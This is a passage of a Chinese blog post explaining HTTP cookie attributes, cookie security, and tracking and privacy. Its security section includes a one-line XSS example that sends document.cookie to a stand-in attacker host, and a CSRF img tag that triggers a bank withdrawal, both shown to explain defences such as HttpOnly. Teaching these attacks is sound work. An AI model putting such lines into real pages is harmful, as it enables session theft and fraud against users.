                  <li><code>Path</code> 标识指定了主机下的哪些路径可以接受Cookie（该URL路径必须存在于请求URL中）。以字符 %x2F (“/“) 作为路径分隔符，子路径也会被匹配。</li>
                </ul>
              </li>
              <li>Expires 和 Max-Age<br>分别对应控制台中的 Expires 和 Max-Age 列。<ul>
                  <li>不指定这两个值则为<code>会话期Cookie</code>，浏览器关闭之后它会被自动删除；有些浏览器提供了会话恢复功能，即使关闭了浏览器，会话期Cookie也会被保留下来。</li>
                  <li>指定任意一个则为<code>持久性Cookie</code>；如果是服务器设置 cookie 则 Expires 时间是服务器时间，可能和浏览器时间不同的，导致细微的差距，指定过期可设置一个过去的时间；Max-Age 设置的是秒数，时间从浏览器接收到该参数的时刻开始计算一个具体的时间作为过期时间。指定过期可设置为0或者负数。</li>
                </ul>
              </li>
              <li>Secure<br>对应控制台中的Name列。<ul>
                  <li>标记为 Secure 的Cookie只应通过被HTTPS协议加密过的请求发送给服务端。从 Chrome 52 和 Firefox 52 开始，不安全的站点（http:）无法使用Cookie的 Secure 标记。</li>
                  <li>而且该属性只能在https协议下进行设置。</li>
                </ul>
              </li>
              <li>HttpOnly<br>对应控制台中的HTTP列。<ul>
                  <li>为避免跨域脚本 (XSS) 攻击，通过JavaScript的 <a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie">Document.cookie</a> API无法访问带有 HttpOnly 标记的Cookie，它们只应该发送给服务端。</li>
                  <li>HttpOnly 只能通过服务端进行设置。</li>
                </ul>
              </li>
              <li>SameSite Cookies<br>对应控制台中的SameSite列。<ul>
                  <li>SameSite Cookie允许服务器要求某个cookie在跨站请求时不会被发送，从而可以阻止跨站请求伪造攻击（CSRF）。但目前SameSite Cookie还处于实验阶段，并不是所有浏览器都支持。</li>
                </ul>
              </li>
            </ul>
            <h2 id="cookie-安全"><a href="#cookie-安全" class="headerlink" title="cookie 安全"></a>cookie 安全</h2>
            <h3 id="会话劫持和XSS"><a href="#会话劫持和XSS" class="headerlink" title="会话劫持和XSS"></a>会话劫持和XSS</h3>
            <p>在Web应用中，Cookie常用来标记用户或授权会话。因此，如果Web应用的Cookie被窃取，可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。</p>
            <figure class="highlight js">
              <table>
                <tr>
                  <td class="gutter">
                    <pre><span class="line">1</span><br></pre>
                  </td>
                  <td class="code">
                    <pre><span class="line">(<span class="keyword">new</span> Image()).src = <span class="string">&quot;http://www.evil-domain.com/steal-cookie.php?cookie=&quot;</span> + <span class="built_in">document</span>.cookie;</span><br></pre>
                  </td>
                </tr>
              </table>
            </figure>

            <p><code>HttpOnly</code>类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。</p>
            <h3 id="跨站请求伪造（CSRF）"><a href="#跨站请求伪造（CSRF）" class="headerlink" title="跨站请求伪造（CSRF）"></a>跨站请求伪造（CSRF）</h3>
            <p>比如在不安全聊天室或论坛上的一张图片，它实际上是一个给你银行服务器发送提现的请求：</p>
            <figure class="highlight js">
              <table>
                <tr>
                  <td class="gutter">
                    <pre><span class="line">1</span><br></pre>
                  </td>
                  <td class="code">
                    <pre><span class="line">&lt;img src=<span class="string">&quot;http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory&quot;</span>&gt;</span><br></pre>
                  </td>
                </tr>
              </table>
            </figure>

            <p>当你打开含有了这张图片的HTML页面时，如果你之前已经登录了你的银行帐号并且Cookie仍然有效（还没有其它验证步骤），你银行里的钱很可能会被自动转走。</p>
            <p>具体阻止的办法查看<a href="../2019-04-08-talking-about-csrf/">浅谈CSRF</a>，还是那句话没有攻不破的防御，只是攻击成本的问题。</p>
            <h2 id="追踪和隐私"><a href="#追踪和隐私" class="headerlink" title="追踪和隐私"></a>追踪和隐私</h2>
            <ul>
              <li>第三方Cookie<ul>
                  <li>每个Cookie都会有与之关联的域（Domain），如果Cookie的域和页面的域相同，那么我们称这个Cookie为第一方Cookie（first-party cookie），如果Cookie的域和页面的域不同，则称之为第三方Cookie（third-party cookie.）。</li>
                  <li>大多数浏览器默认都允许第三方Cookie，但是可以通过附加组件来阻止第三方Cookie（如<a target="_blank" rel="noopener" href="https://www.eff.org/">EFF</a> 的<a target="_blank" rel="noopener" href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> ）。</li>
                </ul>
              </li>
              <li>禁止追踪Do-Not-Track<ul>
                  <li>虽然并没有法律或者技术手段强制要求使用 <a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/DNT">DNT</a> ，但是通过DNT可以告诉Web程序不要对用户行为进行追踪或者跨站追踪。</li>
                </ul>
              </li>
              <li>欧盟Cookie指令<ul>
                  <li>关于Cookie，欧盟已经在 <a target="_blank" rel="noopener" href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">2009/136/EC</a> 指令中提了相关要求，在征得用户的同意之前，网站不允许通过计算机、手机或其他设备存储、检索任何信息。</li>
                </ul>
              </li>
              <li>僵尸Cookie和删不掉的Cookie<br>这类Cookie较难以删除，甚至删除之后会自动重建。它们一般是使用Web storage API、Flash本地共享对象或者其他技术手段来达到的。相关内容可以看：<ul>
                  <li>Standard HTTP cookies</li>
                  <li>Storing cookies in and reading out web history</li>
                  <li>Storing cookies in HTTP ETags</li>
                  <li>Internet Explorer userData storage (starting IE9, userData is no longer supported)</li>
                  <li>HTML5 Session Storage</li>
                  <li>HTML5 Local Storage</li>
                  <li>HTML5 Global Storage</li>
                  <li>HTML5 Database Storage via SQLite</li>
                  <li>Storing cookies in RGB values of auto-generated, force-cached PNGs using HTML5 Canvas tag to read pixels (cookies) back out</li>
                  <li>Local shared objects (Flash cookies)</li>
                  <li>Silverlight Isolated Storage</li>
                  <li>Cookie syncing scripts that function as a cache cookie and respawn the MUID cookie[5]</li>
                  <li>TCP Fast Open</li>
                  <li>TLS’s Session ID</li>
                </ul>
              </li>
            </ul>
            <h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1>
            <p>cookie属性详解：<a target="_blank" rel="noopener" href="http://www.cnblogs.com/tzyy/p/4151291.html">http://www.cnblogs.com/tzyy/p/4151291.html</a><br>讲解：<a target="_blank" rel="noopener" href="https://harttle.land/2015/08/10/cookie-session.html#header-2">https://harttle.land/2015/08/10/cookie-session.html#header-2</a><br>MDN HTTP Cookie：<a target="_blank" rel="noopener" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies</a><br>MDN HTTP Cookie：<a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies">https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies</a><br>MDN HTTP Headers Cookie：<a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Cookie">https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Cookie</a><br>MDN Set-Cookie：<a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie">https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie</a><br>MDN Document Cookie：<a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie">https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie</a><br>聊一聊 cookie：<a target="_blank" rel="noopener" href="https://segmentfault.com/a/1190000004556040#articleHeader6">https://segmentfault.com/a/1190000004556040#articleHeader6</a></p>
            <p>深入了解浏览器存储–从cookie到WebStorage、IndexedDB：<a target="_blank" rel="noopener" href="https://segmentfault.com/a/1190000018748168?utm_source=weekly&amp;utm_medium=email&amp;utm_campaign=email_weekly">https://segmentfault.com/a/1190000018748168?utm_source=weekly&amp;utm_medium=email&amp;utm_campaign=email_weekly</a></p>

          </div>





          <footer class="post-footer">
            <div class="post-tags">
              <a href="/tags/cookie/" rel="tag"># cookie</a>
            </div>



            <div class="post-nav">
              <div class="post-nav-item">
                <a href="/blob/2019-04-11-what-did-javascript-experience-in-2018/" rel="prev" title="2018年，JavaScript都经历了什么">
                  <i class="fa fa-chevron-left"></i> 2018年，JavaScript都经历了什么
                </a>
              </div>
              <div class="post-nav-item">
                <a href="/blob/2019-04-15-distinguish-escape,-encodeuri-and-encodeuricomponent/" rel="next" title="区分escape、encodeURI和encodeURIComponent">
                  区分escape、encodeURI和encodeURIComponent <i class="fa fa-chevron-right"></i>
                </a>
              </div>
            </div>
          </footer>
        </article>
      </div>







      <script>
        window.addEventListener('tabs:register', () => {
          let {
            activeClass
          } = CONFIG.comments;
          if (CONFIG.comments.storage) {
            activeClass = localStorage.getItem('comments_active') || activeClass;
          }
          if (activeClass) {
            const activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
            if (activeTab) {
              activeTab.click();
            }
          }
        });
        if (CONFIG.comments.storage) {
          window.addEventListener('tabs:click', event => {
            if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
            const commentClass = event.target.classList[1];
            localStorage.setItem('comments_active', commentClass);
          });
        }
      </script>
    </div>
  </main>

  <footer class="footer">
    <div class="footer-inner">


      <div class="copyright">
        &copy;
        <span itemprop="copyrightYear">2021</span>
        <span class="with-love">
          <i class="fa fa-heart"></i>
        </span>
        <span class="author" itemprop="copyrightHolder">holidaypenguin</span>
      </div>
      <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://theme-next.js.org/mist/" class="theme-link" rel="noopener" target="_blank">NexT.Mist</a> 强力驱动
      </div>

    </div>
  </footer>


  <script size="300" alpha="0.1" zIndex="-1" src="https://cdn.jsdelivr.net/npm/ribbon.js@1.0.2/dist/ribbon.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/animejs@3.2.1/lib/anime.min.js"></script>
  <script src="/js/love.js"></script>

  <script src="/js/development.js"></script>
  <script src="/js/utils.js"></script>
  <script src="/js/motion.js"></script>
  <script src="/js/schemes/muse.js"></script>
  <script src="/js/next-boot.js"></script>


  <script src="/js/local-search.js"></script>









  <script>
    (function() {
      function leancloudSelector(url) {
        url = encodeURI(url);
        return document.getElementById(url).querySelector('.leancloud-visitors-count');
      }

      function addCount(Counter) {
        const visitors = document.querySelector('.leancloud_visitors');
        const url = decodeURI(visitors.id);
        const title = visitors.dataset.flagTitle;

        Counter('get', '/classes/Counter?where=' + encodeURIComponent(JSON.stringify({
            url
          })))
          .then(response => response.json())
          .then(({
            results
          }) => {
            if (results.length > 0) {
              const counter = results[0];
              leancloudSelector(url).innerText = counter.time + 1;
              Counter('put', '/classes/Counter/' + counter.objectId, {
                  time: {
                    '__op': 'Increment',
                    'amount': 1
                  }
                })
                .catch(error => {
                  console.error('Failed to save visitor count', error);
                });
            } else {
              Counter('post', '/classes/Counter', {
                  title,
                  url,
                  time: 1
                })
                .then(response => response.json())
                .then(() => {
                  leancloudSelector(url).innerText = 1;
                })
                .catch(error => {
                  console.error('Failed to create', error);
                });
            }
          })
          .catch(error => {
            console.error('LeanCloud Counter Error', error);
          });
      }

      function showTime(Counter) {
        const visitors = document.querySelectorAll('.leancloud_visitors');
        const entries = [...visitors].map(element => {
          return decodeURI(element.id);
        });

        Counter('get', '/classes/Counter?where=' + encodeURIComponent(JSON.stringify({
            url: {
              '$in': entries
            }
          })))
          .then(response => response.json())
          .then(({
            results
          }) => {
            for (let url of entries) {
              const target = results.find(item => item.url === url);
              leancloudSelector(url).innerText = target ? target.time : 0;
            }
          })
          .catch(error => {
            console.error('LeanCloud Counter Error', error);
          });
      }

      const {
        app_id,
        app_key,
        server_url
      } = {
        "enable": true,
        "app_id": "povuqNsSqFodlakVIwtEX5kb-gzGzoHsz",
        "app_key": "zXD40RDtDB3DMtpC89k0AK7g",
        "server_url": null,
        "security": false
      };

      function fetchData(api_server) {
        const Counter = (method, url, data) => {
          return fetch(`${api_server}/1.1${url}`, {
            method,
            headers: {
              'X-LC-Id': app_id,
              'X-LC-Key': app_key,
              'Content-Type': 'application/json',
            },
            body: JSON.stringify(data)
          });
        };
        if (CONFIG.page.isPost) {
          if (CONFIG.hostname !== location.hostname) return;
          addCount(Counter);
        } else if (document.querySelectorAll('.post-title-link').length >= 1) {
          showTime(Counter);
        }
      }

      const api_server = app_id.slice(-9) === '-MdYXbMMI' ? `https://${app_id.slice(0, 8).toLowerCase()}.api.lncldglobal.com` : server_url;

      if (api_server) {
        fetchData(api_server);
      } else {
        fetch('https://app-router.leancloud.cn/2/route?appId=' + app_id)
          .then(response => response.json())
          .then(({
            api_server
          }) => {
            fetchData('https://' + api_server);
          });
      }
    })();
  </script>



<script>
            window.imageLazyLoadSetting = {
                isSPA: false,
                preloadRatio: 1,
                processImages: null,
            };
        </script><script>window.addEventListener("load",function(){var t=/\.(gif|jpg|jpeg|tiff|png)$/i,r=/^data:image\/[a-z]+;base64,/;Array.prototype.slice.call(document.querySelectorAll("img[data-original]")).forEach(function(a){var e=a.parentNode;"A"===e.tagName&&(e.href.match(t)||e.href.match(r))&&(e.href=a.dataset.original)})});</script><script>!function(n){n.imageLazyLoadSetting.processImages=o;var e=n.imageLazyLoadSetting.isSPA,i=n.imageLazyLoadSetting.preloadRatio||1,r=Array.prototype.slice.call(document.querySelectorAll("img[data-original]"));function o(){e&&(r=Array.prototype.slice.call(document.querySelectorAll("img[data-original]")));for(var t,a=0;a<r.length;a++)0<=(t=(t=r[a]).getBoundingClientRect()).bottom&&0<=t.left&&t.top<=(n.innerHeight*i||document.documentElement.clientHeight*i)&&function(){var t,e,n,i,o=r[a];t=o,e=function(){r=r.filter(function(t){return o!==t})},n=new Image,i=t.getAttribute("data-original"),n.onload=function(){t.src=i,e&&e()},t.src!==i&&(n.src=i)}()}o(),n.addEventListener("scroll",function(){var t,e;t=o,e=n,clearTimeout(t.tId),t.tId=setTimeout(function(){t.call(e)},500)})}(this);</script></body>

</html>